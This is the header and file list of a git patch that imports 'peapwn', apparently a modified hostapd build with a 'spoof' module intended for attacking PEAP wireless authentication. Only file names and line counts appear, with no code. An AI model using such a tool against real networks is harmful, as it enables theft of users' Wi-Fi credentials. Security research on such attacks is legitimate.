From 94f4b14ebc4f26b7df6bfdf66a508bbd4a8f51e2 Mon Sep 17 00:00:00 2001 From: 0x90 Date: Sun, 22 Mar 2015 22:23:48 +0300 Subject: [PATCH] git subrepo clone https://github.com/rpp0/peapwn peapwn subrepo: subdir: "peapwn" merged: "67d5abe" upstream: origin: "https://github.com/rpp0/peapwn" branch: "master" commit: "67d5abe" git-subrepo: version: "0.2.0" origin: "???" commit: "???" --- peapwn/.gitignore | 32 + peapwn/.gitrepo | 11 + peapwn/LICENSE | 339 + peapwn/README.md | 42 + peapwn/mods/hostap/Android.mk | 16 + peapwn/mods/hostap/CONTRIBUTIONS | 111 + peapwn/mods/hostap/COPYING | 22 + peapwn/mods/hostap/README | 56 + peapwn/mods/hostap/build_release | 47 + peapwn/mods/hostap/src/Makefile | 11 + peapwn/mods/hostap/src/ap/Makefile | 8 + peapwn/mods/hostap/src/ap/accounting.c | 475 + peapwn/mods/hostap/src/ap/accounting.h | 44 + peapwn/mods/hostap/src/ap/acs.c | 802 ++ peapwn/mods/hostap/src/ap/acs.h | 28 + peapwn/mods/hostap/src/ap/ap_config.c | 881 ++ peapwn/mods/hostap/src/ap/ap_config.h | 606 + peapwn/mods/hostap/src/ap/ap_drv_ops.c | 776 ++ peapwn/mods/hostap/src/ap/ap_drv_ops.h | 269 + peapwn/mods/hostap/src/ap/ap_list.c | 318 + peapwn/mods/hostap/src/ap/ap_list.h | 53 + peapwn/mods/hostap/src/ap/ap_mlme.c | 178 + peapwn/mods/hostap/src/ap/ap_mlme.h | 34 + peapwn/mods/hostap/src/ap/authsrv.c | 214 + peapwn/mods/hostap/src/ap/authsrv.h | 15 + peapwn/mods/hostap/src/ap/beacon.c | 923 ++ peapwn/mods/hostap/src/ap/beacon.h | 31 + peapwn/mods/hostap/src/ap/ctrl_iface_ap.c | 425 + peapwn/mods/hostap/src/ap/ctrl_iface_ap.h | 28 + peapwn/mods/hostap/src/ap/dfs.c | 711 + peapwn/mods/hostap/src/ap/dfs.h | 25 + peapwn/mods/hostap/src/ap/drv_callbacks.c | 1027 ++ peapwn/mods/hostap/src/ap/eap_user_db.c | 270 + peapwn/mods/hostap/src/ap/gas_serv.c | 1174 ++ peapwn/mods/hostap/src/ap/gas_serv.h | 71 + peapwn/mods/hostap/src/ap/hostapd.c | 2252 +++ peapwn/mods/hostap/src/ap/hostapd.h | 423 + peapwn/mods/hostap/src/ap/hs20.c | 31 + peapwn/mods/hostap/src/ap/hs20.h | 16 + peapwn/mods/hostap/src/ap/hw_features.c | 1038 ++ peapwn/mods/hostap/src/ap/hw_features.h | 71 + peapwn/mods/hostap/src/ap/iapp.c | 540 + peapwn/mods/hostap/src/ap/iapp.h | 39 + peapwn/mods/hostap/src/ap/ieee802_11.c | 2268 +++ peapwn/mods/hostap/src/ap/ieee802_11.h | 85 + peapwn/mods/hostap/src/ap/ieee802_11_auth.c | 643 + peapwn/mods/hostap/src/ap/ieee802_11_auth.h | 28 + peapwn/mods/hostap/src/ap/ieee802_11_ht.c | 288 + peapwn/mods/hostap/src/ap/ieee802_11_shared.c | 494 + peapwn/mods/hostap/src/ap/ieee802_11_vht.c | 172 + peapwn/mods/hostap/src/ap/ieee802_1x.c | 2142 +++ peapwn/mods/hostap/src/ap/ieee802_1x.h | 61 + peapwn/mods/hostap/src/ap/p2p_hostapd.c | 114 + peapwn/mods/hostap/src/ap/p2p_hostapd.h | 35 + peapwn/mods/hostap/src/ap/peerkey_auth.c | 396 + peapwn/mods/hostap/src/ap/pmksa_cache_auth.c | 430 + peapwn/mods/hostap/src/ap/pmksa_cache_auth.h | 61 + peapwn/mods/hostap/src/ap/preauth_auth.c | 273 + peapwn/mods/hostap/src/ap/preauth_auth.h | 52 + peapwn/mods/hostap/src/ap/sta_info.c | 1014 ++ peapwn/mods/hostap/src/ap/sta_info.h | 198 + .../mods/hostap/src/ap/tkip_countermeasures.c | 105 + .../mods/hostap/src/ap/tkip_countermeasures.h | 15 + peapwn/mods/hostap/src/ap/utils.c | 85 + peapwn/mods/hostap/src/ap/vlan_init.c | 1106 ++ peapwn/mods/hostap/src/ap/vlan_init.h | 59 + peapwn/mods/hostap/src/ap/vlan_util.c | 177 + peapwn/mods/hostap/src/ap/vlan_util.h | 15 + peapwn/mods/hostap/src/ap/wmm.c | 330 + peapwn/mods/hostap/src/ap/wmm.h | 29 + peapwn/mods/hostap/src/ap/wnm_ap.c | 271 + peapwn/mods/hostap/src/ap/wnm_ap.h | 17 + peapwn/mods/hostap/src/ap/wpa_auth.c | 3061 +++++ peapwn/mods/hostap/src/ap/wpa_auth.h | 299 + peapwn/mods/hostap/src/ap/wpa_auth_ft.c | 1663 +++ peapwn/mods/hostap/src/ap/wpa_auth_glue.c | 623 + peapwn/mods/hostap/src/ap/wpa_auth_glue.h | 16 + peapwn/mods/hostap/src/ap/wpa_auth_i.h | 233 + peapwn/mods/hostap/src/ap/wpa_auth_ie.c | 775 ++ peapwn/mods/hostap/src/ap/wpa_auth_ie.h | 50 + peapwn/mods/hostap/src/ap/wps_hostapd.c | 1861 +++ peapwn/mods/hostap/src/ap/wps_hostapd.h | 84 + peapwn/mods/hostap/src/common/Makefile | 8 + peapwn/mods/hostap/src/common/defs.h | 322 + peapwn/mods/hostap/src/common/eapol_common.h | 81 + peapwn/mods/hostap/src/common/gas.c | 273 + peapwn/mods/hostap/src/common/gas.h | 37 + .../hostap/src/common/ieee802_11_common.c | 553 + .../hostap/src/common/ieee802_11_common.h | 108 + .../mods/hostap/src/common/ieee802_11_defs.h | 1164 ++ .../mods/hostap/src/common/privsep_commands.h | 69 + peapwn/mods/hostap/src/common/sae.c | 1042 ++ peapwn/mods/hostap/src/common/sae.h | 64 + peapwn/mods/hostap/src/common/version.h | 10 + peapwn/mods/hostap/src/common/wpa_common.c | 1377 ++ peapwn/mods/hostap/src/common/wpa_common.h | 406 + peapwn/mods/hostap/src/common/wpa_ctrl.c | 671 + peapwn/mods/hostap/src/common/wpa_ctrl.h | 354 + peapwn/mods/hostap/src/crypto/.gitignore | 1 + peapwn/mods/hostap/src/crypto/Makefile | 62 + peapwn/mods/hostap/src/crypto/aes-cbc.c | 80 + peapwn/mods/hostap/src/crypto/aes-ccm.c | 212 + peapwn/mods/hostap/src/crypto/aes-ctr.c | 55 + peapwn/mods/hostap/src/crypto/aes-eax.c | 145 + peapwn/mods/hostap/src/crypto/aes-encblock.c | 32 + peapwn/mods/hostap/src/crypto/aes-gcm.c | 327 + .../mods/hostap/src/crypto/aes-internal-dec.c | 161 + .../mods/hostap/src/crypto/aes-internal-enc.c | 126 + peapwn/mods/hostap/src/crypto/aes-internal.c | 845 ++ peapwn/mods/hostap/src/crypto/aes-omac1.c | 118 + peapwn/mods/hostap/src/crypto/aes-unwrap.c | 73 + peapwn/mods/hostap/src/crypto/aes-wrap.c | 70 + peapwn/mods/hostap/src/crypto/aes.h | 21 + peapwn/mods/hostap/src/crypto/aes_i.h | 125 + peapwn/mods/hostap/src/crypto/aes_wrap.h | 64 + peapwn/mods/hostap/src/crypto/crypto.h | 785 ++ .../mods/hostap/src/crypto/crypto_cryptoapi.c | 783 ++ peapwn/mods/hostap/src/crypto/crypto_gnutls.c | 299 + .../src/crypto/crypto_internal-cipher.c | 243 + .../src/crypto/crypto_internal-modexp.c | 49 + .../hostap/src/crypto/crypto_internal-rsa.c | 108 + .../mods/hostap/src/crypto/crypto_internal.c | 275 + .../hostap/src/crypto/crypto_libtomcrypt.c | 726 + peapwn/mods/hostap/src/crypto/crypto_none.c | 23 + peapwn/mods/hostap/src/crypto/crypto_nss.c | 207 + .../mods/hostap/src/crypto/crypto_openssl.c | 1233 ++ peapwn/mods/hostap/src/crypto/des-internal.c | 493 + peapwn/mods/hostap/src/crypto/des_i.h | 25 + peapwn/mods/hostap/src/crypto/dh_group5.c | 40 + peapwn/mods/hostap/src/crypto/dh_group5.h | 18 + peapwn/mods/hostap/src/crypto/dh_groups.c | 1271 ++ peapwn/mods/hostap/src/crypto/dh_groups.h | 29 + .../hostap/src/crypto/fips_prf_cryptoapi.c | 19 + .../mods/hostap/src/crypto/fips_prf_gnutls.c | 20 + .../hostap/src/crypto/fips_prf_internal.c | 69 + peapwn/mods/hostap/src/crypto/fips_prf_nss.c | 19 + .../mods/hostap/src/crypto/fips_prf_openssl.c | 78 + peapwn/mods/hostap/src/crypto/md4-internal.c | 272 + peapwn/mods/hostap/src/crypto/md5-internal.c | 287 + peapwn/mods/hostap/src/crypto/md5.c | 105 + peapwn/mods/hostap/src/crypto/md5.h | 19 + peapwn/mods/hostap/src/crypto/md5_i.h | 23 + peapwn/mods/hostap/src/crypto/milenage.c | 323 + peapwn/mods/hostap/src/crypto/milenage.h | 27 + peapwn/mods/hostap/src/crypto/ms_funcs.c | 534 + peapwn/mods/hostap/src/crypto/ms_funcs.h | 58 + peapwn/mods/hostap/src/crypto/random.c | 446 + peapwn/mods/hostap/src/crypto/random.h | 28 + peapwn/mods/hostap/src/crypto/rc4.c | 54 + peapwn/mods/hostap/src/crypto/sha1-internal.c | 302 + peapwn/mods/hostap/src/crypto/sha1-pbkdf2.c | 92 + peapwn/mods/hostap/src/crypto/sha1-prf.c | 66 + peapwn/mods/hostap/src/crypto/sha1-tlsprf.c | 99 + peapwn/mods/hostap/src/crypto/sha1-tprf.c | 70 + peapwn/mods/hostap/src/crypto/sha1.c | 104 + peapwn/mods/hostap/src/crypto/sha1.h | 27 + peapwn/mods/hostap/src/crypto/sha1_i.h | 23 + .../mods/hostap/src/crypto/sha256-internal.c | 226 + peapwn/mods/hostap/src/crypto/sha256-prf.c | 98 + peapwn/mods/hostap/src/crypto/sha256-tlsprf.c | 66 + peapwn/mods/hostap/src/crypto/sha256.c | 104 + peapwn/mods/hostap/src/crypto/sha256.h | 27 + peapwn/mods/hostap/src/crypto/sha256_i.h | 25 + peapwn/mods/hostap/src/crypto/tls.h | 538 + peapwn/mods/hostap/src/crypto/tls_gnutls.c | 1192 ++ peapwn/mods/hostap/src/crypto/tls_internal.c | 630 + peapwn/mods/hostap/src/crypto/tls_none.c | 194 + peapwn/mods/hostap/src/crypto/tls_nss.c | 645 + peapwn/mods/hostap/src/crypto/tls_openssl.c | 3413 +++++ peapwn/mods/hostap/src/crypto/tls_schannel.c | 732 + peapwn/mods/hostap/src/drivers/.gitignore | 2 + peapwn/mods/hostap/src/drivers/Makefile | 9 + peapwn/mods/hostap/src/drivers/android_drv.h | 60 + peapwn/mods/hostap/src/drivers/driver.h | 4140 ++++++ .../mods/hostap/src/drivers/driver_atheros.c | 2205 +++ peapwn/mods/hostap/src/drivers/driver_bsd.c | 1631 +++ .../mods/hostap/src/drivers/driver_common.c | 92 + .../mods/hostap/src/drivers/driver_hostap.c | 1193 ++ .../mods/hostap/src/drivers/driver_hostap.h | 210 + .../mods/hostap/src/drivers/driver_madwifi.c | 1310 ++ peapwn/mods/hostap/src/drivers/driver_ndis.c | 3218 +++++ peapwn/mods/hostap/src/drivers/driver_ndis.h | 59 + peapwn/mods/hostap/src/drivers/driver_ndis_.c | 99 + .../mods/hostap/src/drivers/driver_nl80211.c | 11459 ++++++++++++++++ peapwn/mods/hostap/src/drivers/driver_none.c | 93 + .../mods/hostap/src/drivers/driver_openbsd.c | 136 + .../mods/hostap/src/drivers/driver_privsep.c | 740 + .../hostap/src/drivers/driver_roboswitch.c | 474 + peapwn/mods/hostap/src/drivers/driver_test.c | 3322 +++++ peapwn/mods/hostap/src/drivers/driver_wext.c | 2487 ++++ peapwn/mods/hostap/src/drivers/driver_wext.h | 87 + peapwn/mods/hostap/src/drivers/driver_wired.c | 662 + peapwn/mods/hostap/src/drivers/drivers.c | 90 + peapwn/mods/hostap/src/drivers/drivers.mak | 191 + peapwn/mods/hostap/src/drivers/drivers.mk | 195 + peapwn/mods/hostap/src/drivers/linux_ioctl.c | 221 + peapwn/mods/hostap/src/drivers/linux_ioctl.h | 22 + peapwn/mods/hostap/src/drivers/linux_wext.h | 45 + peapwn/mods/hostap/src/drivers/ndis_events.c | 802 ++ peapwn/mods/hostap/src/drivers/netlink.c | 198 + peapwn/mods/hostap/src/drivers/netlink.h | 28 + peapwn/mods/hostap/src/drivers/nl80211_copy.h | 3937 ++++++ peapwn/mods/hostap/src/drivers/priv_netlink.h | 107 + peapwn/mods/hostap/src/drivers/rfkill.c | 188 + peapwn/mods/hostap/src/drivers/rfkill.h | 25 + peapwn/mods/hostap/src/eap_common/Makefile | 8 + peapwn/mods/hostap/src/eap_common/chap.c | 28 + peapwn/mods/hostap/src/eap_common/chap.h | 17 + .../mods/hostap/src/eap_common/eap_common.c | 205 + .../mods/hostap/src/eap_common/eap_common.h | 23 + peapwn/mods/hostap/src/eap_common/eap_defs.h | 85 + .../hostap/src/eap_common/eap_eke_common.c | 768 ++ .../hostap/src/eap_common/eap_eke_common.h | 114 + .../hostap/src/eap_common/eap_fast_common.c | 298 + .../hostap/src/eap_common/eap_fast_common.h | 107 + .../hostap/src/eap_common/eap_gpsk_common.c | 552 + .../hostap/src/eap_common/eap_gpsk_common.h | 66 + .../hostap/src/eap_common/eap_ikev2_common.c | 126 + .../hostap/src/eap_common/eap_ikev2_common.h | 36 + .../hostap/src/eap_common/eap_pax_common.c | 144 + .../hostap/src/eap_common/eap_pax_common.h | 91 + .../hostap/src/eap_common/eap_peap_common.c | 85 + .../hostap/src/eap_common/eap_peap_common.h | 16 + .../hostap/src/eap_common/eap_psk_common.c | 68 + .../hostap/src/eap_common/eap_psk_common.h | 72 + .../hostap/src/eap_common/eap_pwd_common.c | 345 + .../hostap/src/eap_common/eap_pwd_common.h | 67 + .../hostap/src/eap_common/eap_sake_common.c | 387 + .../hostap/src/eap_common/eap_sake_common.h | 96 + .../hostap/src/eap_common/eap_sim_common.c | 1209 ++ .../hostap/src/eap_common/eap_sim_common.h | 229 + .../hostap/src/eap_common/eap_tlv_common.h | 112 + peapwn/mods/hostap/src/eap_common/eap_ttls.h | 65 + .../hostap/src/eap_common/eap_wsc_common.c | 33 + .../hostap/src/eap_common/eap_wsc_common.h | 27 + .../mods/hostap/src/eap_common/ikev2_common.c | 791 ++ .../mods/hostap/src/eap_common/ikev2_common.h | 338 + peapwn/mods/hostap/src/eap_peer/Makefile | 11 + peapwn/mods/hostap/src/eap_peer/eap.c | 2403 ++++ peapwn/mods/hostap/src/eap_peer/eap.h | 326 + peapwn/mods/hostap/src/eap_peer/eap_aka.c | 1537 +++ peapwn/mods/hostap/src/eap_peer/eap_config.h | 713 + peapwn/mods/hostap/src/eap_peer/eap_eke.c | 723 + peapwn/mods/hostap/src/eap_peer/eap_fast.c | 1751 +++ .../mods/hostap/src/eap_peer/eap_fast_pac.c | 921 ++ .../mods/hostap/src/eap_peer/eap_fast_pac.h | 50 + peapwn/mods/hostap/src/eap_peer/eap_gpsk.c | 766 ++ peapwn/mods/hostap/src/eap_peer/eap_gtc.c | 145 + peapwn/mods/hostap/src/eap_peer/eap_i.h | 371 + peapwn/mods/hostap/src/eap_peer/eap_ikev2.c | 531 + peapwn/mods/hostap/src/eap_peer/eap_leap.c | 410 + peapwn/mods/hostap/src/eap_peer/eap_md5.c | 120 + peapwn/mods/hostap/src/eap_peer/eap_methods.c | 369 + peapwn/mods/hostap/src/eap_peer/eap_methods.h | 110 + .../mods/hostap/src/eap_peer/eap_mschapv2.c | 877 ++ peapwn/mods/hostap/src/eap_peer/eap_otp.c | 101 + peapwn/mods/hostap/src/eap_peer/eap_pax.c | 525 + peapwn/mods/hostap/src/eap_peer/eap_peap.c | 1334 ++ peapwn/mods/hostap/src/eap_peer/eap_proxy.h | 49 + .../hostap/src/eap_peer/eap_proxy_dummy.c | 77 + peapwn/mods/hostap/src/eap_peer/eap_psk.c | 502 + peapwn/mods/hostap/src/eap_peer/eap_pwd.c | 922 ++ peapwn/mods/hostap/src/eap_peer/eap_sake.c | 517 + peapwn/mods/hostap/src/eap_peer/eap_sim.c | 1243 ++ peapwn/mods/hostap/src/eap_peer/eap_tls.c | 384 + .../mods/hostap/src/eap_peer/eap_tls_common.c | 1115 ++ .../mods/hostap/src/eap_peer/eap_tls_common.h | 131 + peapwn/mods/hostap/src/eap_peer/eap_tnc.c | 427 + peapwn/mods/hostap/src/eap_peer/eap_ttls.c | 1675 +++ .../hostap/src/eap_peer/eap_vendor_test.c | 189 + peapwn/mods/hostap/src/eap_peer/eap_wsc.c | 569 + peapwn/mods/hostap/src/eap_peer/ikev2.c | 1298 ++ peapwn/mods/hostap/src/eap_peer/ikev2.h | 59 + peapwn/mods/hostap/src/eap_peer/mschapv2.c | 133 + peapwn/mods/hostap/src/eap_peer/mschapv2.h | 28 + peapwn/mods/hostap/src/eap_peer/tncc.c | 1361 ++ peapwn/mods/hostap/src/eap_peer/tncc.h | 36 + peapwn/mods/hostap/src/eap_server/Makefile | 8 + peapwn/mods/hostap/src/eap_server/eap.h | 125 + peapwn/mods/hostap/src/eap_server/eap_i.h | 200 + .../mods/hostap/src/eap_server/eap_methods.h | 50 + .../mods/hostap/src/eap_server/eap_server.c | 1419 ++ .../hostap/src/eap_server/eap_server_aka.c | 1352 ++ .../hostap/src/eap_server/eap_server_eke.c | 793 ++ .../hostap/src/eap_server/eap_server_fast.c | 1614 +++ .../hostap/src/eap_server/eap_server_gpsk.c | 620 + .../hostap/src/eap_server/eap_server_gtc.c | 224 + .../src/eap_server/eap_server_identity.c | 174 + .../hostap/src/eap_server/eap_server_ikev2.c | 536 + .../hostap/src/eap_server/eap_server_md5.c | 175 + .../src/eap_server/eap_server_methods.c | 171 + .../src/eap_server/eap_server_mschapv2.c | 571 + .../hostap/src/eap_server/eap_server_pax.c | 564 + .../hostap/src/eap_server/eap_server_peap.c | 1384 ++ .../hostap/src/eap_server/eap_server_psk.c | 512 + .../hostap/src/eap_server/eap_server_pwd.c | 1045 ++ .../hostap/src/eap_server/eap_server_sake.c | 522 + .../hostap/src/eap_server/eap_server_sim.c | 847 ++ .../hostap/src/eap_server/eap_server_tls.c | 342 + .../src/eap_server/eap_server_tls_common.c | 430 + .../hostap/src/eap_server/eap_server_tnc.c | 575 + .../hostap/src/eap_server/eap_server_ttls.c | 1193 ++ .../src/eap_server/eap_server_vendor_test.c | 192 + .../hostap/src/eap_server/eap_server_wsc.c | 512 + .../mods/hostap/src/eap_server/eap_sim_db.c | 1497 ++ .../mods/hostap/src/eap_server/eap_sim_db.h | 95 + .../hostap/src/eap_server/eap_tls_common.h | 90 + peapwn/mods/hostap/src/eap_server/ikev2.c | 1200 ++ peapwn/mods/hostap/src/eap_server/ikev2.h | 61 + peapwn/mods/hostap/src/eap_server/tncs.c | 1265 ++ peapwn/mods/hostap/src/eap_server/tncs.h | 43 + peapwn/mods/hostap/src/eapol_auth/Makefile | 8 + .../hostap/src/eapol_auth/eapol_auth_dump.c | 225 + .../hostap/src/eapol_auth/eapol_auth_sm.c | 1161 ++ .../hostap/src/eapol_auth/eapol_auth_sm.h | 90 + .../hostap/src/eapol_auth/eapol_auth_sm_i.h | 178 + peapwn/mods/hostap/src/eapol_supp/Makefile | 8 + .../hostap/src/eapol_supp/eapol_supp_sm.c | 2065 +++ .../hostap/src/eapol_supp/eapol_supp_sm.h | 397 + peapwn/mods/hostap/src/l2_packet/Makefile | 8 + peapwn/mods/hostap/src/l2_packet/l2_packet.h | 124 + .../hostap/src/l2_packet/l2_packet_freebsd.c | 310 + .../hostap/src/l2_packet/l2_packet_linux.c | 204 + .../hostap/src/l2_packet/l2_packet_ndis.c | 516 + .../hostap/src/l2_packet/l2_packet_none.c | 117 + .../hostap/src/l2_packet/l2_packet_pcap.c | 380 + .../hostap/src/l2_packet/l2_packet_privsep.c | 261 + .../hostap/src/l2_packet/l2_packet_winpcap.c | 335 + peapwn/mods/hostap/src/lib.rules | 21 + peapwn/mods/hostap/src/p2p/Makefile | 8 + peapwn/mods/hostap/src/p2p/p2p.c | 4391 ++++++ peapwn/mods/hostap/src/p2p/p2p.h | 1884 +++ peapwn/mods/hostap/src/p2p/p2p_build.c | 460 + peapwn/mods/hostap/src/p2p/p2p_dev_disc.c | 325 + peapwn/mods/hostap/src/p2p/p2p_go_neg.c | 1160 ++ peapwn/mods/hostap/src/p2p/p2p_group.c | 989 ++ peapwn/mods/hostap/src/p2p/p2p_i.h | 748 + peapwn/mods/hostap/src/p2p/p2p_invitation.c | 590 + peapwn/mods/hostap/src/p2p/p2p_parse.c | 723 + peapwn/mods/hostap/src/p2p/p2p_pd.c | 477 + peapwn/mods/hostap/src/p2p/p2p_sd.c | 879 ++ peapwn/mods/hostap/src/p2p/p2p_utils.c | 471 + peapwn/mods/hostap/src/radius/.gitignore | 1 + peapwn/mods/hostap/src/radius/Makefile | 22 + peapwn/mods/hostap/src/radius/radius.c | 1578 +++ peapwn/mods/hostap/src/radius/radius.h | 287 + peapwn/mods/hostap/src/radius/radius_client.c | 1491 ++ peapwn/mods/hostap/src/radius/radius_client.h | 259 + peapwn/mods/hostap/src/radius/radius_das.c | 365 + peapwn/mods/hostap/src/radius/radius_das.h | 47 + peapwn/mods/hostap/src/radius/radius_server.c | 1557 +++ peapwn/mods/hostap/src/radius/radius_server.h | 220 + peapwn/mods/hostap/src/rsn_supp/Makefile | 8 + peapwn/mods/hostap/src/rsn_supp/peerkey.c | 1163 ++ peapwn/mods/hostap/src/rsn_supp/peerkey.h | 81 + peapwn/mods/hostap/src/rsn_supp/pmksa_cache.c | 525 + peapwn/mods/hostap/src/rsn_supp/pmksa_cache.h | 132 + peapwn/mods/hostap/src/rsn_supp/preauth.c | 511 + peapwn/mods/hostap/src/rsn_supp/preauth.h | 79 + peapwn/mods/hostap/src/rsn_supp/tdls.c | 2560 ++++ peapwn/mods/hostap/src/rsn_supp/wpa.c | 2707 ++++ peapwn/mods/hostap/src/rsn_supp/wpa.h | 388 + peapwn/mods/hostap/src/rsn_supp/wpa_ft.c | 849 ++ peapwn/mods/hostap/src/rsn_supp/wpa_i.h | 322 + peapwn/mods/hostap/src/rsn_supp/wpa_ie.c | 452 + peapwn/mods/hostap/src/rsn_supp/wpa_ie.h | 64 + peapwn/mods/hostap/src/spoof/Makefile | 8 + peapwn/mods/hostap/src/spoof/spoof.c | 238 + peapwn/mods/hostap/src/spoof/spoof.h | 23 + peapwn/mods/hostap/src/spoof/stat.c | 75 + peapwn/mods/hostap/src/spoof/stat.h | 23 + peapwn/mods/hostap/src/tls/.gitignore | 1 + peapwn/mods/hostap/src/tls/Makefile | 39 + peapwn/mods/hostap/src/tls/asn1.c | 206 + peapwn/mods/hostap/src/tls/asn1.h | 66 + peapwn/mods/hostap/src/tls/bignum.c | 224 + peapwn/mods/hostap/src/tls/bignum.h | 32 + peapwn/mods/hostap/src/tls/libtommath.c | 3401 +++++ peapwn/mods/hostap/src/tls/pkcs1.c | 195 + peapwn/mods/hostap/src/tls/pkcs1.h | 22 + peapwn/mods/hostap/src/tls/pkcs5.c | 232 + peapwn/mods/hostap/src/tls/pkcs5.h | 16 + peapwn/mods/hostap/src/tls/pkcs8.c | 187 + peapwn/mods/hostap/src/tls/pkcs8.h | 16 + peapwn/mods/hostap/src/tls/rsa.c | 352 + peapwn/mods/hostap/src/tls/rsa.h | 23 + peapwn/mods/hostap/src/tls/tlsv1_client.c | 794 ++ peapwn/mods/hostap/src/tls/tlsv1_client.h | 54 + peapwn/mods/hostap/src/tls/tlsv1_client_i.h | 84 + .../mods/hostap/src/tls/tlsv1_client_read.c | 999 ++ .../mods/hostap/src/tls/tlsv1_client_write.c | 866 ++ peapwn/mods/hostap/src/tls/tlsv1_common.c | 321 + peapwn/mods/hostap/src/tls/tlsv1_common.h | 261 + peapwn/mods/hostap/src/tls/tlsv1_cred.c | 506 + peapwn/mods/hostap/src/tls/tlsv1_cred.h | 40 + peapwn/mods/hostap/src/tls/tlsv1_record.c | 485 + peapwn/mods/hostap/src/tls/tlsv1_record.h | 71 + peapwn/mods/hostap/src/tls/tlsv1_server.c | 620 + peapwn/mods/hostap/src/tls/tlsv1_server.h | 48 + peapwn/mods/hostap/src/tls/tlsv1_server_i.h | 71 + .../mods/hostap/src/tls/tlsv1_server_read.c | 1253 ++ .../mods/hostap/src/tls/tlsv1_server_write.c | 801 ++ peapwn/mods/hostap/src/tls/x509v3.c | 1979 +++ peapwn/mods/hostap/src/tls/x509v3.h | 123 + peapwn/mods/hostap/src/utils/.gitignore | 1 + peapwn/mods/hostap/src/utils/Makefile | 41 + peapwn/mods/hostap/src/utils/base64.c | 155 + peapwn/mods/hostap/src/utils/base64.h | 17 + peapwn/mods/hostap/src/utils/bitfield.c | 89 + peapwn/mods/hostap/src/utils/bitfield.h | 21 + peapwn/mods/hostap/src/utils/build_config.h | 50 + peapwn/mods/hostap/src/utils/common.c | 737 + peapwn/mods/hostap/src/utils/common.h | 544 + peapwn/mods/hostap/src/utils/edit.c | 1174 ++ peapwn/mods/hostap/src/utils/edit.h | 21 + peapwn/mods/hostap/src/utils/edit_readline.c | 192 + peapwn/mods/hostap/src/utils/edit_simple.c | 92 + peapwn/mods/hostap/src/utils/eloop.c | 948 ++ peapwn/mods/hostap/src/utils/eloop.h | 357 + peapwn/mods/hostap/src/utils/eloop_win.c | 692 + peapwn/mods/hostap/src/utils/ext_password.c | 116 + peapwn/mods/hostap/src/utils/ext_password.h | 33 + peapwn/mods/hostap/src/utils/ext_password_i.h | 23 + .../mods/hostap/src/utils/ext_password_test.c | 90 + peapwn/mods/hostap/src/utils/includes.h | 50 + peapwn/mods/hostap/src/utils/ip_addr.c | 77 + peapwn/mods/hostap/src/utils/ip_addr.h | 28 + peapwn/mods/hostap/src/utils/list.h | 95 + peapwn/mods/hostap/src/utils/os.h | 567 + peapwn/mods/hostap/src/utils/os_internal.c | 494 + peapwn/mods/hostap/src/utils/os_none.c | 231 + peapwn/mods/hostap/src/utils/os_unix.c | 532 + peapwn/mods/hostap/src/utils/os_win32.c | 246 + peapwn/mods/hostap/src/utils/pcsc_funcs.c | 1419 ++ peapwn/mods/hostap/src/utils/pcsc_funcs.h | 42 + peapwn/mods/hostap/src/utils/radiotap.c | 287 + peapwn/mods/hostap/src/utils/radiotap.h | 243 + peapwn/mods/hostap/src/utils/radiotap_iter.h | 56 + peapwn/mods/hostap/src/utils/state_machine.h | 138 + peapwn/mods/hostap/src/utils/trace.c | 323 + peapwn/mods/hostap/src/utils/trace.h | 68 + peapwn/mods/hostap/src/utils/uuid.c | 71 + peapwn/mods/hostap/src/utils/uuid.h | 18 + peapwn/mods/hostap/src/utils/wpa_debug.c | 735 + peapwn/mods/hostap/src/utils/wpa_debug.h | 323 + peapwn/mods/hostap/src/utils/wpabuf.c | 303 + peapwn/mods/hostap/src/utils/wpabuf.h | 162 + peapwn/mods/hostap/src/wps/Makefile | 8 + peapwn/mods/hostap/src/wps/http.h | 29 + peapwn/mods/hostap/src/wps/http_client.c | 368 + peapwn/mods/hostap/src/wps/http_client.h | 40 + peapwn/mods/hostap/src/wps/http_server.c | 310 + peapwn/mods/hostap/src/wps/http_server.h | 33 + peapwn/mods/hostap/src/wps/httpread.c | 855 ++ peapwn/mods/hostap/src/wps/httpread.h | 117 + peapwn/mods/hostap/src/wps/ndef.c | 254 + peapwn/mods/hostap/src/wps/upnp_xml.c | 252 + peapwn/mods/hostap/src/wps/upnp_xml.h | 25 + peapwn/mods/hostap/src/wps/wps.c | 659 + peapwn/mods/hostap/src/wps/wps.h | 1009 ++ peapwn/mods/hostap/src/wps/wps_attr_build.c | 446 + peapwn/mods/hostap/src/wps/wps_attr_parse.c | 641 + peapwn/mods/hostap/src/wps/wps_attr_parse.h | 108 + peapwn/mods/hostap/src/wps/wps_attr_process.c | 343 + peapwn/mods/hostap/src/wps/wps_common.c | 676 + peapwn/mods/hostap/src/wps/wps_defs.h | 331 + peapwn/mods/hostap/src/wps/wps_dev_attr.c | 443 + peapwn/mods/hostap/src/wps/wps_dev_attr.h | 40 + peapwn/mods/hostap/src/wps/wps_enrollee.c | 1419 ++ peapwn/mods/hostap/src/wps/wps_er.c | 2066 +++ peapwn/mods/hostap/src/wps/wps_er.h | 112 + peapwn/mods/hostap/src/wps/wps_er_ssdp.c | 207 + peapwn/mods/hostap/src/wps/wps_i.h | 211 + peapwn/mods/hostap/src/wps/wps_registrar.c | 3568 +++++ peapwn/mods/hostap/src/wps/wps_upnp.c | 1213 ++ peapwn/mods/hostap/src/wps/wps_upnp.h | 48 + peapwn/mods/hostap/src/wps/wps_upnp_ap.c | 87 + peapwn/mods/hostap/src/wps/wps_upnp_event.c | 423 + peapwn/mods/hostap/src/wps/wps_upnp_i.h | 194 + peapwn/mods/hostap/src/wps/wps_upnp_ssdp.c | 950 ++ peapwn/mods/hostap/src/wps/wps_upnp_web.c | 1322 ++ peapwn/mods/hostap/src/wps/wps_validate.c | 1975 +++ peapwn/mods/hostap/tests/.gitignore | 15 + peapwn/mods/hostap/tests/Makefile | 111 + peapwn/mods/hostap/tests/hwsim/README | 184 + .../mods/hostap/tests/hwsim/auth_serv/as.conf | 15 + .../tests/hwsim/auth_serv/ca-incorrect.pem | 55 + .../mods/hostap/tests/hwsim/auth_serv/ca.pem | 55 + .../mods/hostap/tests/hwsim/auth_serv/dh.conf | 5 + .../tests/hwsim/auth_serv/eap_user.conf | 36 + .../hwsim/auth_serv/hlr_auc_gw.milenage_db | 13 + .../tests/hwsim/auth_serv/radius_clients.conf | 1 + .../hostap/tests/hwsim/auth_serv/server.key | 16 + .../hostap/tests/hwsim/auth_serv/server.pem | 64 + .../hostap/tests/hwsim/auth_serv/user.key | 16 + .../hostap/tests/hwsim/auth_serv/user.pem | 62 + peapwn/mods/hostap/tests/hwsim/bss-1.conf | 11 + peapwn/mods/hostap/tests/hwsim/bss-2.conf | 11 + 